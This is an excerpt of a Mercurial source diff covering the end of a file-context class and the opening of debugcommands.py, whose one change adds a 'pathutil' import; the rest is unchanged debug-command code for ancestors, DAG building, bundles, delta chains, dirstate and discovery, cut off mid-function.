2954 2954 self._path = path
2955 2955
2956 2956 def cmp(self, fctx):
2957 2957 # filecmp follows symlinks whereas `cmp` should not, so skip the fast
2958 2958 # path if either side is a symlink.
2959 2959 symlinks = b'l' in self.flags() or b'l' in fctx.flags()
2960 2960 if not symlinks and isinstance(fctx, workingfilectx) and self._repo:
2961 2961 # Add a fast-path for merge if both sides are disk-backed.
2962 2962 # Note that filecmp uses the opposite return values (True if same)
2963 2963 # from our cmp functions (True if different).
2964 2964 return not filecmp.cmp(self.path(), self._repo.wjoin(fctx.path()))
2965 2965 return self.data() != fctx.data()
2966 2966
2967 2967 def path(self):
2968 2968 return self._path
2969 2969
2970 2970 def flags(self):
2971 2971 return b''
2972 2972
2973 2973 def data(self):
2974 2974 return util.readfile(self._path)
2975 2975
2976 2976 def decodeddata(self):
2977 2977 with open(self._path, b"rb") as f:
2978 2978 return f.read()
2979 2979
2980 2980 def remove(self):
2981 2981 util.unlink(self._path)
2982 2982
2983 2983 def write(self, data, flags, **kwargs):
2984 2984 assert not flags
2985 2985 with open(self._path, b"wb") as f:
2986 2986 f.write(data)
@@ -1,4265 +1,4266 b''
1 1 # debugcommands.py - command processing for debug* commands
2 2 #
3 3 # Copyright 2005-2016 Matt Mackall <mpm@selenic.com>
4 4 #
5 5 # This software may be used and distributed according to the terms of the
6 6 # GNU General Public License version 2 or any later version.
7 7
8 8 from __future__ import absolute_import
9 9
10 10 import codecs
11 11 import collections
12 12 import difflib
13 13 import errno
14 14 import operator
15 15 import os
16 16 import random
17 17 import re
18 18 import socket
19 19 import ssl
20 20 import stat
21 21 import string
22 22 import subprocess
23 23 import sys
24 24 import time
25 25
26 26 from .i18n import _
27 27 from .node import (
28 28 bin,
29 29 hex,
30 30 nullhex,
31 31 nullid,
32 32 nullrev,
33 33 short,
34 34 )
35 35 from .pycompat import (
36 36 getattr,
37 37 open,
38 38 )
39 39 from . import (
40 40 bundle2,
41 41 changegroup,
42 42 cmdutil,
43 43 color,
44 44 context,
45 45 copies,
46 46 dagparser,
47 47 encoding,
48 48 error,
49 49 exchange,
50 50 extensions,
51 51 filemerge,
52 52 filesetlang,
53 53 formatter,
54 54 hg,
55 55 httppeer,
56 56 localrepo,
57 57 lock as lockmod,
58 58 logcmdutil,
59 59 merge as mergemod,
60 60 obsolete,
61 61 obsutil,
62 pathutil,
62 63 phases,
63 64 policy,
64 65 pvec,
65 66 pycompat,
66 67 registrar,
67 68 repair,
68 69 revlog,
69 70 revset,
70 71 revsetlang,
71 72 scmutil,
72 73 setdiscovery,
73 74 simplemerge,
74 75 sshpeer,
75 76 sslutil,
76 77 streamclone,
77 78 templater,
78 79 treediscovery,
79 80 upgrade,
80 81 url as urlmod,
81 82 util,
82 83 vfs as vfsmod,
83 84 wireprotoframing,
84 85 wireprotoserver,
85 86 wireprotov2peer,
86 87 )
87 88 from .utils import (
88 89 cborutil,
89 90 compression,
90 91 dateutil,
91 92 procutil,
92 93 stringutil,
93 94 )
94 95
95 96 from .revlogutils import deltas as deltautil
96 97
97 98 release = lockmod.release
98 99
99 100 command = registrar.command()
100 101
101 102
102 103 @command(b'debugancestor', [], _(b'[INDEX] REV1 REV2'), optionalrepo=True)
103 104 def debugancestor(ui, repo, *args):
104 105 """find the ancestor revision of two revisions in a given index"""
105 106 if len(args) == 3:
106 107 index, rev1, rev2 = args
107 108 r = revlog.revlog(vfsmod.vfs(encoding.getcwd(), audit=False), index)
108 109 lookup = r.lookup
109 110 elif len(args) == 2:
110 111 if not repo:
111 112 raise error.Abort(
112 113 _(b'there is no Mercurial repository here (.hg not found)')
113 114 )
114 115 rev1, rev2 = args
115 116 r = repo.changelog
116 117 lookup = repo.lookup
117 118 else:
118 119 raise error.Abort(_(b'either two or three arguments required'))
119 120 a = r.ancestor(lookup(rev1), lookup(rev2))
120 121 ui.write(b'%d:%s\n' % (r.rev(a), hex(a)))
121 122
122 123
123 124 @command(b'debugapplystreamclonebundle', [], b'FILE')
124 125 def debugapplystreamclonebundle(ui, repo, fname):
125 126 """apply a stream clone bundle file"""
126 127 f = hg.openpath(ui, fname)
127 128 gen = exchange.readbundle(ui, f, fname)
128 129 gen.apply(repo)
129 130
130 131
131 132 @command(
132 133 b'debugbuilddag',
133 134 [
134 135 (
135 136 b'm',
136 137 b'mergeable-file',
137 138 None,
138 139 _(b'add single file mergeable changes'),
139 140 ),
140 141 (
141 142 b'o',
142 143 b'overwritten-file',
143 144 None,
144 145 _(b'add single file all revs overwrite'),
145 146 ),
146 147 (b'n', b'new-file', None, _(b'add new file at each rev')),
147 148 ],
148 149 _(b'[OPTION]... [TEXT]'),
149 150 )
150 151 def debugbuilddag(
151 152 ui,
152 153 repo,
153 154 text=None,
154 155 mergeable_file=False,
155 156 overwritten_file=False,
156 157 new_file=False,
157 158 ):
158 159 """builds a repo with a given DAG from scratch in the current empty repo
159 160
160 161 The description of the DAG is read from stdin if not given on the
161 162 command line.
162 163
163 164 Elements:
164 165
165 166 - "+n" is a linear run of n nodes based on the current default parent
166 167 - "." is a single node based on the current default parent
167 168 - "$" resets the default parent to null (implied at the start);
168 169 otherwise the default parent is always the last node created
169 170 - "<p" sets the default parent to the backref p
170 171 - "*p" is a fork at parent p, which is a backref
171 172 - "*p1/p2" is a merge of parents p1 and p2, which are backrefs
172 173 - "/p2" is a merge of the preceding node and p2
173 174 - ":tag" defines a local tag for the preceding node
174 175 - "@branch" sets the named branch for subsequent nodes
175 176 - "#...\\n" is a comment up to the end of the line
176 177
177 178 Whitespace between the above elements is ignored.
178 179
179 180 A backref is either
180 181
181 182 - a number n, which references the node curr-n, where curr is the current
182 183 node, or
183 184 - the name of a local tag you placed earlier using ":tag", or
184 185 - empty to denote the default parent.
185 186
186 187 All string valued-elements are either strictly alphanumeric, or must
187 188 be enclosed in double quotes ("..."), with "\\" as escape character.
188 189 """
189 190
190 191 if text is None:
191 192 ui.status(_(b"reading DAG from stdin\n"))
192 193 text = ui.fin.read()
193 194
194 195 cl = repo.changelog
195 196 if len(cl) > 0:
196 197 raise error.Abort(_(b'repository is not empty'))
197 198
198 199 # determine number of revs in DAG
199 200 total = 0
200 201 for type, data in dagparser.parsedag(text):
201 202 if type == b'n':
202 203 total += 1
203 204
204 205 if mergeable_file:
205 206 linesperrev = 2
206 207 # make a file with k lines per rev
207 208 initialmergedlines = [
208 209 b'%d' % i for i in pycompat.xrange(0, total * linesperrev)
209 210 ]
210 211 initialmergedlines.append(b"")
211 212
212 213 tags = []
213 214 progress = ui.makeprogress(
214 215 _(b'building'), unit=_(b'revisions'), total=total
215 216 )
216 217 with progress, repo.wlock(), repo.lock(), repo.transaction(b"builddag"):
217 218 at = -1
218 219 atbranch = b'default'
219 220 nodeids = []
220 221 id = 0
221 222 progress.update(id)
222 223 for type, data in dagparser.parsedag(text):
223 224 if type == b'n':
224 225 ui.note((b'node %s\n' % pycompat.bytestr(data)))
225 226 id, ps = data
226 227
227 228 files = []
228 229 filecontent = {}
229 230
230 231 p2 = None
231 232 if mergeable_file:
232 233 fn = b"mf"
233 234 p1 = repo[ps[0]]
234 235 if len(ps) > 1:
235 236 p2 = repo[ps[1]]
236 237 pa = p1.ancestor(p2)
237 238 base, local, other = [
238 239 x[fn].data() for x in (pa, p1, p2)
239 240 ]
240 241 m3 = simplemerge.Merge3Text(base, local, other)
241 242 ml = [l.strip() for l in m3.merge_lines()]
242 243 ml.append(b"")
243 244 elif at > 0:
244 245 ml = p1[fn].data().split(b"\n")
245 246 else:
246 247 ml = initialmergedlines
247 248 ml[id * linesperrev] += b" r%i" % id
248 249 mergedtext = b"\n".join(ml)
249 250 files.append(fn)
250 251 filecontent[fn] = mergedtext
251 252
252 253 if overwritten_file:
253 254 fn = b"of"
254 255 files.append(fn)
255 256 filecontent[fn] = b"r%i\n" % id
256 257
257 258 if new_file:
258 259 fn = b"nf%i" % id
259 260 files.append(fn)
260 261 filecontent[fn] = b"r%i\n" % id
261 262 if len(ps) > 1:
262 263 if not p2:
263 264 p2 = repo[ps[1]]
264 265 for fn in p2:
265 266 if fn.startswith(b"nf"):
266 267 files.append(fn)
267 268 filecontent[fn] = p2[fn].data()
268 269
269 270 def fctxfn(repo, cx, path):
270 271 if path in filecontent:
271 272 return context.memfilectx(
272 273 repo, cx, path, filecontent[path]
273 274 )
274 275 return None
275 276
276 277 if len(ps) == 0 or ps[0] < 0:
277 278 pars = [None, None]
278 279 elif len(ps) == 1:
279 280 pars = [nodeids[ps[0]], None]
280 281 else:
281 282 pars = [nodeids[p] for p in ps]
282 283 cx = context.memctx(
283 284 repo,
284 285 pars,
285 286 b"r%i" % id,
286 287 files,
287 288 fctxfn,
288 289 date=(id, 0),
289 290 user=b"debugbuilddag",
290 291 extra={b'branch': atbranch},
291 292 )
292 293 nodeid = repo.commitctx(cx)
293 294 nodeids.append(nodeid)
294 295 at = id
295 296 elif type == b'l':
296 297 id, name = data
297 298 ui.note((b'tag %s\n' % name))
298 299 tags.append(b"%s %s\n" % (hex(repo.changelog.node(id)), name))
299 300 elif type == b'a':
300 301 ui.note((b'branch %s\n' % data))
301 302 atbranch = data
302 303 progress.update(id)
303 304
304 305 if tags:
305 306 repo.vfs.write(b"localtags", b"".join(tags))
306 307
307 308
308 309 def _debugchangegroup(ui, gen, all=None, indent=0, **opts):
309 310 indent_string = b' ' * indent
310 311 if all:
311 312 ui.writenoi18n(
312 313 b"%sformat: id, p1, p2, cset, delta base, len(delta)\n"
313 314 % indent_string
314 315 )
315 316
316 317 def showchunks(named):
317 318 ui.write(b"\n%s%s\n" % (indent_string, named))
318 319 for deltadata in gen.deltaiter():
319 320 node, p1, p2, cs, deltabase, delta, flags = deltadata
320 321 ui.write(
321 322 b"%s%s %s %s %s %s %d\n"
322 323 % (
323 324 indent_string,
324 325 hex(node),
325 326 hex(p1),
326 327 hex(p2),
327 328 hex(cs),
328 329 hex(deltabase),
329 330 len(delta),
330 331 )
331 332 )
332 333
333 334 chunkdata = gen.changelogheader()
334 335 showchunks(b"changelog")
335 336 chunkdata = gen.manifestheader()
336 337 showchunks(b"manifest")
337 338 for chunkdata in iter(gen.filelogheader, {}):
338 339 fname = chunkdata[b'filename']
339 340 showchunks(fname)
340 341 else:
341 342 if isinstance(gen, bundle2.unbundle20):
342 343 raise error.Abort(_(b'use debugbundle2 for this file'))
343 344 chunkdata = gen.changelogheader()
344 345 for deltadata in gen.deltaiter():
345 346 node, p1, p2, cs, deltabase, delta, flags = deltadata
346 347 ui.write(b"%s%s\n" % (indent_string, hex(node)))
347 348
348 349
349 350 def _debugobsmarkers(ui, part, indent=0, **opts):
350 351 """display version and markers contained in 'data'"""
351 352 opts = pycompat.byteskwargs(opts)
352 353 data = part.read()
353 354 indent_string = b' ' * indent
354 355 try:
355 356 version, markers = obsolete._readmarkers(data)
356 357 except error.UnknownVersion as exc:
357 358 msg = b"%sunsupported version: %s (%d bytes)\n"
358 359 msg %= indent_string, exc.version, len(data)
359 360 ui.write(msg)
360 361 else:
361 362 msg = b"%sversion: %d (%d bytes)\n"
362 363 msg %= indent_string, version, len(data)
363 364 ui.write(msg)
364 365 fm = ui.formatter(b'debugobsolete', opts)
365 366 for rawmarker in sorted(markers):
366 367 m = obsutil.marker(None, rawmarker)
367 368 fm.startitem()
368 369 fm.plain(indent_string)
369 370 cmdutil.showmarker(fm, m)
370 371 fm.end()
371 372
372 373
373 374 def _debugphaseheads(ui, data, indent=0):
374 375 """display version and markers contained in 'data'"""
375 376 indent_string = b' ' * indent
376 377 headsbyphase = phases.binarydecode(data)
377 378 for phase in phases.allphases:
378 379 for head in headsbyphase[phase]:
379 380 ui.write(indent_string)
380 381 ui.write(b'%s %s\n' % (hex(head), phases.phasenames[phase]))
381 382
382 383
383 384 def _quasirepr(thing):
384 385 if isinstance(thing, (dict, util.sortdict, collections.OrderedDict)):
385 386 return b'{%s}' % (
386 387 b', '.join(b'%s: %s' % (k, thing[k]) for k in sorted(thing))
387 388 )
388 389 return pycompat.bytestr(repr(thing))
389 390
390 391
391 392 def _debugbundle2(ui, gen, all=None, **opts):
392 393 """lists the contents of a bundle2"""
393 394 if not isinstance(gen, bundle2.unbundle20):
394 395 raise error.Abort(_(b'not a bundle2 file'))
395 396 ui.write((b'Stream params: %s\n' % _quasirepr(gen.params)))
396 397 parttypes = opts.get('part_type', [])
397 398 for part in gen.iterparts():
398 399 if parttypes and part.type not in parttypes:
399 400 continue
400 401 msg = b'%s -- %s (mandatory: %r)\n'
401 402 ui.write((msg % (part.type, _quasirepr(part.params), part.mandatory)))
402 403 if part.type == b'changegroup':
403 404 version = part.params.get(b'version', b'01')
404 405 cg = changegroup.getunbundler(version, part, b'UN')
405 406 if not ui.quiet:
406 407 _debugchangegroup(ui, cg, all=all, indent=4, **opts)
407 408 if part.type == b'obsmarkers':
408 409 if not ui.quiet:
409 410 _debugobsmarkers(ui, part, indent=4, **opts)
410 411 if part.type == b'phase-heads':
411 412 if not ui.quiet:
412 413 _debugphaseheads(ui, part, indent=4)
413 414
414 415
415 416 @command(
416 417 b'debugbundle',
417 418 [
418 419 (b'a', b'all', None, _(b'show all details')),
419 420 (b'', b'part-type', [], _(b'show only the named part type')),
420 421 (b'', b'spec', None, _(b'print the bundlespec of the bundle')),
421 422 ],
422 423 _(b'FILE'),
423 424 norepo=True,
424 425 )
425 426 def debugbundle(ui, bundlepath, all=None, spec=None, **opts):
426 427 """lists the contents of a bundle"""
427 428 with hg.openpath(ui, bundlepath) as f:
428 429 if spec:
429 430 spec = exchange.getbundlespec(ui, f)
430 431 ui.write(b'%s\n' % spec)
431 432 return
432 433
433 434 gen = exchange.readbundle(ui, f, bundlepath)
434 435 if isinstance(gen, bundle2.unbundle20):
435 436 return _debugbundle2(ui, gen, all=all, **opts)
436 437 _debugchangegroup(ui, gen, all=all, **opts)
437 438
438 439
439 440 @command(b'debugcapabilities', [], _(b'PATH'), norepo=True)
440 441 def debugcapabilities(ui, path, **opts):
441 442 """lists the capabilities of a remote peer"""
442 443 opts = pycompat.byteskwargs(opts)
443 444 peer = hg.peer(ui, opts, path)
444 445 caps = peer.capabilities()
445 446 ui.writenoi18n(b'Main capabilities:\n')
446 447 for c in sorted(caps):
447 448 ui.write(b' %s\n' % c)
448 449 b2caps = bundle2.bundle2caps(peer)
449 450 if b2caps:
450 451 ui.writenoi18n(b'Bundle2 capabilities:\n')
451 452 for key, values in sorted(pycompat.iteritems(b2caps)):
452 453 ui.write(b' %s\n' % key)
453 454 for v in values:
454 455 ui.write(b' %s\n' % v)
455 456
456 457
457 458 @command(b'debugcheckstate', [], b'')
458 459 def debugcheckstate(ui, repo):
459 460 """validate the correctness of the current dirstate"""
460 461 parent1, parent2 = repo.dirstate.parents()
461 462 m1 = repo[parent1].manifest()
462 463 m2 = repo[parent2].manifest()
463 464 errors = 0
464 465 for f in repo.dirstate:
465 466 state = repo.dirstate[f]
466 467 if state in b"nr" and f not in m1:
467 468 ui.warn(_(b"%s in state %s, but not in manifest1\n") % (f, state))
468 469 errors += 1
469 470 if state in b"a" and f in m1:
470 471 ui.warn(_(b"%s in state %s, but also in manifest1\n") % (f, state))
471 472 errors += 1
472 473 if state in b"m" and f not in m1 and f not in m2:
473 474 ui.warn(
474 475 _(b"%s in state %s, but not in either manifest\n") % (f, state)
475 476 )
476 477 errors += 1
477 478 for f in m1:
478 479 state = repo.dirstate[f]
479 480 if state not in b"nrm":
480 481 ui.warn(_(b"%s in manifest1, but listed as state %s") % (f, state))
481 482 errors += 1
482 483 if errors:
483 484 error = _(b".hg/dirstate inconsistent with current parent's manifest")
484 485 raise error.Abort(error)
485 486
486 487
487 488 @command(
488 489 b'debugcolor',
489 490 [(b'', b'style', None, _(b'show all configured styles'))],
490 491 b'hg debugcolor',
491 492 )
492 493 def debugcolor(ui, repo, **opts):
493 494 """show available color, effects or style"""
494 495 ui.writenoi18n(b'color mode: %s\n' % stringutil.pprint(ui._colormode))
495 496 if opts.get('style'):
496 497 return _debugdisplaystyle(ui)
497 498 else:
498 499 return _debugdisplaycolor(ui)
499 500
500 501
501 502 def _debugdisplaycolor(ui):
502 503 ui = ui.copy()
503 504 ui._styles.clear()
504 505 for effect in color._activeeffects(ui).keys():
505 506 ui._styles[effect] = effect
506 507 if ui._terminfoparams:
507 508 for k, v in ui.configitems(b'color'):
508 509 if k.startswith(b'color.'):
509 510 ui._styles[k] = k[6:]
510 511 elif k.startswith(b'terminfo.'):
511 512 ui._styles[k] = k[9:]
512 513 ui.write(_(b'available colors:\n'))
513 514 # sort label with a '_' after the other to group '_background' entry.
514 515 items = sorted(ui._styles.items(), key=lambda i: (b'_' in i[0], i[0], i[1]))
515 516 for colorname, label in items:
516 517 ui.write(b'%s\n' % colorname, label=label)
517 518
518 519
519 520 def _debugdisplaystyle(ui):
520 521 ui.write(_(b'available style:\n'))
521 522 if not ui._styles:
522 523 return
523 524 width = max(len(s) for s in ui._styles)
524 525 for label, effects in sorted(ui._styles.items()):
525 526 ui.write(b'%s' % label, label=label)
526 527 if effects:
527 528 # 50
528 529 ui.write(b': ')
529 530 ui.write(b' ' * (max(0, width - len(label))))
530 531 ui.write(b', '.join(ui.label(e, e) for e in effects.split()))
531 532 ui.write(b'\n')
532 533
533 534
534 535 @command(b'debugcreatestreamclonebundle', [], b'FILE')
535 536 def debugcreatestreamclonebundle(ui, repo, fname):
536 537 """create a stream clone bundle file
537 538
538 539 Stream bundles are special bundles that are essentially archives of
539 540 revlog files. They are commonly used for cloning very quickly.
540 541 """
541 542 # TODO we may want to turn this into an abort when this functionality
542 543 # is moved into `hg bundle`.
543 544 if phases.hassecret(repo):
544 545 ui.warn(
545 546 _(
546 547 b'(warning: stream clone bundle will contain secret '
547 548 b'revisions)\n'
548 549 )
549 550 )
550 551
551 552 requirements, gen = streamclone.generatebundlev1(repo)
552 553 changegroup.writechunks(ui, gen, fname)
553 554
554 555 ui.write(_(b'bundle requirements: %s\n') % b', '.join(sorted(requirements)))
555 556
556 557
557 558 @command(
558 559 b'debugdag',
559 560 [
560 561 (b't', b'tags', None, _(b'use tags as labels')),
561 562 (b'b', b'branches', None, _(b'annotate with branch names')),
562 563 (b'', b'dots', None, _(b'use dots for runs')),
563 564 (b's', b'spaces', None, _(b'separate elements by spaces')),
564 565 ],
565 566 _(b'[OPTION]... [FILE [REV]...]'),
566 567 optionalrepo=True,
567 568 )
568 569 def debugdag(ui, repo, file_=None, *revs, **opts):
569 570 """format the changelog or an index DAG as a concise textual description
570 571
571 572 If you pass a revlog index, the revlog's DAG is emitted. If you list
572 573 revision numbers, they get labeled in the output as rN.
573 574
574 575 Otherwise, the changelog DAG of the current repo is emitted.
575 576 """
576 577 spaces = opts.get('spaces')
577 578 dots = opts.get('dots')
578 579 if file_:
579 580 rlog = revlog.revlog(vfsmod.vfs(encoding.getcwd(), audit=False), file_)
580 581 revs = set((int(r) for r in revs))
581 582
582 583 def events():
583 584 for r in rlog:
584 585 yield b'n', (r, list(p for p in rlog.parentrevs(r) if p != -1))
585 586 if r in revs:
586 587 yield b'l', (r, b"r%i" % r)
587 588
588 589 elif repo:
589 590 cl = repo.changelog
590 591 tags = opts.get('tags')
591 592 branches = opts.get('branches')
592 593 if tags:
593 594 labels = {}
594 595 for l, n in repo.tags().items():
595 596 labels.setdefault(cl.rev(n), []).append(l)
596 597
597 598 def events():
598 599 b = b"default"
599 600 for r in cl:
600 601 if branches:
601 602 newb = cl.read(cl.node(r))[5][b'branch']
602 603 if newb != b:
603 604 yield b'a', newb
604 605 b = newb
605 606 yield b'n', (r, list(p for p in cl.parentrevs(r) if p != -1))
606 607 if tags:
607 608 ls = labels.get(r)
608 609 if ls:
609 610 for l in ls:
610 611 yield b'l', (r, l)
611 612
612 613 else:
613 614 raise error.Abort(_(b'need repo for changelog dag'))
614 615
615 616 for line in dagparser.dagtextlines(
616 617 events(),
617 618 addspaces=spaces,
618 619 wraplabels=True,
619 620 wrapannotations=True,
620 621 wrapnonlinear=dots,
621 622 usedots=dots,
622 623 maxlinewidth=70,
623 624 ):
624 625 ui.write(line)
625 626 ui.write(b"\n")
626 627
627 628
628 629 @command(b'debugdata', cmdutil.debugrevlogopts, _(b'-c|-m|FILE REV'))
629 630 def debugdata(ui, repo, file_, rev=None, **opts):
630 631 """dump the contents of a data file revision"""
631 632 opts = pycompat.byteskwargs(opts)
632 633 if opts.get(b'changelog') or opts.get(b'manifest') or opts.get(b'dir'):
633 634 if rev is not None:
634 635 raise error.CommandError(b'debugdata', _(b'invalid arguments'))
635 636 file_, rev = None, file_
636 637 elif rev is None:
637 638 raise error.CommandError(b'debugdata', _(b'invalid arguments'))
638 639 r = cmdutil.openstorage(repo, b'debugdata', file_, opts)
639 640 try:
640 641 ui.write(r.rawdata(r.lookup(rev)))
641 642 except KeyError:
642 643 raise error.Abort(_(b'invalid revision identifier %s') % rev)
643 644
644 645
645 646 @command(
646 647 b'debugdate',
647 648 [(b'e', b'extended', None, _(b'try extended date formats'))],
648 649 _(b'[-e] DATE [RANGE]'),
649 650 norepo=True,
650 651 optionalrepo=True,
651 652 )
652 653 def debugdate(ui, date, range=None, **opts):
653 654 """parse and display a date"""
654 655 if opts["extended"]:
655 656 d = dateutil.parsedate(date, util.extendeddateformats)
656 657 else:
657 658 d = dateutil.parsedate(date)
658 659 ui.writenoi18n(b"internal: %d %d\n" % d)
659 660 ui.writenoi18n(b"standard: %s\n" % dateutil.datestr(d))
660 661 if range:
661 662 m = dateutil.matchdate(range)
662 663 ui.writenoi18n(b"match: %s\n" % m(d[0]))
663 664
664 665
665 666 @command(
666 667 b'debugdeltachain',
667 668 cmdutil.debugrevlogopts + cmdutil.formatteropts,
668 669 _(b'-c|-m|FILE'),
669 670 optionalrepo=True,
670 671 )
671 672 def debugdeltachain(ui, repo, file_=None, **opts):
672 673 """dump information about delta chains in a revlog
673 674
674 675 Output can be templatized. Available template keywords are:
675 676
676 677 :``rev``: revision number
677 678 :``chainid``: delta chain identifier (numbered by unique base)
678 679 :``chainlen``: delta chain length to this revision
679 680 :``prevrev``: previous revision in delta chain
680 681 :``deltatype``: role of delta / how it was computed
681 682 :``compsize``: compressed size of revision
682 683 :``uncompsize``: uncompressed size of revision
683 684 :``chainsize``: total size of compressed revisions in chain
684 685 :``chainratio``: total chain size divided by uncompressed revision size
685 686 (new delta chains typically start at ratio 2.00)
686 687 :``lindist``: linear distance from base revision in delta chain to end
687 688 of this revision
688 689 :``extradist``: total size of revisions not part of this delta chain from
689 690 base of delta chain to end of this revision; a measurement
690 691 of how much extra data we need to read/seek across to read
691 692 the delta chain for this revision
692 693 :``extraratio``: extradist divided by chainsize; another representation of
693 694 how much unrelated data is needed to load this delta chain
694 695
695 696 If the repository is configured to use the sparse read, additional keywords
696 697 are available:
697 698
698 699 :``readsize``: total size of data read from the disk for a revision
699 700 (sum of the sizes of all the blocks)
700 701 :``largestblock``: size of the largest block of data read from the disk
701 702 :``readdensity``: density of useful bytes in the data read from the disk
702 703 :``srchunks``: in how many data hunks the whole revision would be read
703 704
704 705 The sparse read can be enabled with experimental.sparse-read = True
705 706 """
706 707 opts = pycompat.byteskwargs(opts)
707 708 r = cmdutil.openrevlog(repo, b'debugdeltachain', file_, opts)
708 709 index = r.index
709 710 start = r.start
710 711 length = r.length
711 712 generaldelta = r.version & revlog.FLAG_GENERALDELTA
712 713 withsparseread = getattr(r, '_withsparseread', False)
713 714
714 715 def revinfo(rev):
715 716 e = index[rev]
716 717 compsize = e[1]
717 718 uncompsize = e[2]
718 719 chainsize = 0
719 720
720 721 if generaldelta:
721 722 if e[3] == e[5]:
722 723 deltatype = b'p1'
723 724 elif e[3] == e[6]:
724 725 deltatype = b'p2'
725 726 elif e[3] == rev - 1:
726 727 deltatype = b'prev'
727 728 elif e[3] == rev:
728 729 deltatype = b'base'
729 730 else:
730 731 deltatype = b'other'
731 732 else:
732 733 if e[3] == rev:
733 734 deltatype = b'base'
734 735 else:
735 736 deltatype = b'prev'
736 737
737 738 chain = r._deltachain(rev)[0]
738 739 for iterrev in chain:
739 740 e = index[iterrev]
740 741 chainsize += e[1]
741 742
742 743 return compsize, uncompsize, deltatype, chain, chainsize
743 744
744 745 fm = ui.formatter(b'debugdeltachain', opts)
745 746
746 747 fm.plain(
747 748 b' rev chain# chainlen prev delta '
748 749 b'size rawsize chainsize ratio lindist extradist '
749 750 b'extraratio'
750 751 )
751 752 if withsparseread:
752 753 fm.plain(b' readsize largestblk rddensity srchunks')
753 754 fm.plain(b'\n')
754 755
755 756 chainbases = {}
756 757 for rev in r:
757 758 comp, uncomp, deltatype, chain, chainsize = revinfo(rev)
758 759 chainbase = chain[0]
759 760 chainid = chainbases.setdefault(chainbase, len(chainbases) + 1)
760 761 basestart = start(chainbase)
761 762 revstart = start(rev)
762 763 lineardist = revstart + comp - basestart
763 764 extradist = lineardist - chainsize
764 765 try:
765 766 prevrev = chain[-2]
766 767 except IndexError:
767 768 prevrev = -1
768 769
769 770 if uncomp != 0:
770 771 chainratio = float(chainsize) / float(uncomp)
771 772 else:
772 773 chainratio = chainsize
773 774
774 775 if chainsize != 0:
775 776 extraratio = float(extradist) / float(chainsize)
776 777 else:
777 778 extraratio = extradist
778 779
779 780 fm.startitem()
780 781 fm.write(
781 782 b'rev chainid chainlen prevrev deltatype compsize '
782 783 b'uncompsize chainsize chainratio lindist extradist '
783 784 b'extraratio',
784 785 b'%7d %7d %8d %8d %7s %10d %10d %10d %9.5f %9d %9d %10.5f',
785 786 rev,
786 787 chainid,
787 788 len(chain),
788 789 prevrev,
789 790 deltatype,
790 791 comp,
791 792 uncomp,
792 793 chainsize,
793 794 chainratio,
794 795 lineardist,
795 796 extradist,
796 797 extraratio,
797 798 rev=rev,
798 799 chainid=chainid,
799 800 chainlen=len(chain),
800 801 prevrev=prevrev,
801 802 deltatype=deltatype,
802 803 compsize=comp,
803 804 uncompsize=uncomp,
804 805 chainsize=chainsize,
805 806 chainratio=chainratio,
806 807 lindist=lineardist,
807 808 extradist=extradist,
808 809 extraratio=extraratio,
809 810 )
810 811 if withsparseread:
811 812 readsize = 0
812 813 largestblock = 0
813 814 srchunks = 0
814 815
815 816 for revschunk in deltautil.slicechunk(r, chain):
816 817 srchunks += 1
817 818 blkend = start(revschunk[-1]) + length(revschunk[-1])
818 819 blksize = blkend - start(revschunk[0])
819 820
820 821 readsize += blksize
821 822 if largestblock < blksize:
822 823 largestblock = blksize
823 824
824 825 if readsize:
825 826 readdensity = float(chainsize) / float(readsize)
826 827 else:
827 828 readdensity = 1
828 829
829 830 fm.write(
830 831 b'readsize largestblock readdensity srchunks',
831 832 b' %10d %10d %9.5f %8d',
832 833 readsize,
833 834 largestblock,
834 835 readdensity,
835 836 srchunks,
836 837 readsize=readsize,
837 838 largestblock=largestblock,
838 839 readdensity=readdensity,
839 840 srchunks=srchunks,
840 841 )
841 842
842 843 fm.plain(b'\n')
843 844
844 845 fm.end()
845 846
846 847
847 848 @command(
848 849 b'debugdirstate|debugstate',
849 850 [
850 851 (
851 852 b'',
852 853 b'nodates',
853 854 None,
854 855 _(b'do not display the saved mtime (DEPRECATED)'),
855 856 ),
856 857 (b'', b'dates', True, _(b'display the saved mtime')),
857 858 (b'', b'datesort', None, _(b'sort by saved mtime')),
858 859 ],
859 860 _(b'[OPTION]...'),
860 861 )
861 862 def debugstate(ui, repo, **opts):
862 863 """show the contents of the current dirstate"""
863 864
864 865 nodates = not opts['dates']
865 866 if opts.get('nodates') is not None:
866 867 nodates = True
867 868 datesort = opts.get('datesort')
868 869
869 870 if datesort:
870 871 keyfunc = lambda x: (x[1][3], x[0]) # sort by mtime, then by filename
871 872 else:
872 873 keyfunc = None # sort by filename
873 874 for file_, ent in sorted(pycompat.iteritems(repo.dirstate), key=keyfunc):
874 875 if ent[3] == -1:
875 876 timestr = b'unset '
876 877 elif nodates:
877 878 timestr = b'set '
878 879 else:
879 880 timestr = time.strftime(
880 881 "%Y-%m-%d %H:%M:%S ", time.localtime(ent[3])
881 882 )
882 883 timestr = encoding.strtolocal(timestr)
883 884 if ent[1] & 0o20000:
884 885 mode = b'lnk'
885 886 else:
886 887 mode = b'%3o' % (ent[1] & 0o777 & ~util.umask)
887 888 ui.write(b"%c %s %10d %s%s\n" % (ent[0], mode, ent[2], timestr, file_))
888 889 for f in repo.dirstate.copies():
889 890 ui.write(_(b"copy: %s -> %s\n") % (repo.dirstate.copied(f), f))
890 891
891 892
892 893 @command(
893 894 b'debugdiscovery',
894 895 [
895 896 (b'', b'old', None, _(b'use old-style discovery')),
896 897 (
897 898 b'',
898 899 b'nonheads',
899 900 None,
900 901 _(b'use old-style discovery with non-heads included'),
901 902 ),
902 903 (b'', b'rev', [], b'restrict discovery to this set of revs'),
903 904 (b'', b'seed', b'12323', b'specify the random seed use for discovery'),
904 905 ]
905 906 + cmdutil.remoteopts,
906 907 _(b'[--rev REV] [OTHER]'),
907 908 )
908 909 def debugdiscovery(ui, repo, remoteurl=b"default", **opts):
909 910 """runs the changeset discovery protocol in isolation"""
910 911 opts = pycompat.byteskwargs(opts)
911 912 remoteurl, branches = hg.parseurl(ui.expandpath(remoteurl))
912 913 remote = hg.peer(repo, opts, remoteurl)
913 914 ui.status(_(b'comparing with %s\n') % util.hidepassword(remoteurl))
914 915
915 916 # make sure tests are repeatable
916 917 random.seed(int(opts[b'seed']))
917 918
918 919 if opts.get(b'old'):
919 920
920 921 def doit(pushedrevs, remoteheads, remote=remote):
921 922 if not util.safehasattr(remote, b'branches'):
922 923 # enable in-client legacy support
923 924 remote = localrepo.locallegacypeer(remote.local())
924 925 common, _in, hds = treediscovery.findcommonincoming(
925 926 repo, remote, force=True
926 927 )
927 928 common = set(common)
928 929 if not opts.get(b'nonheads'):
929 930 ui.writenoi18n(
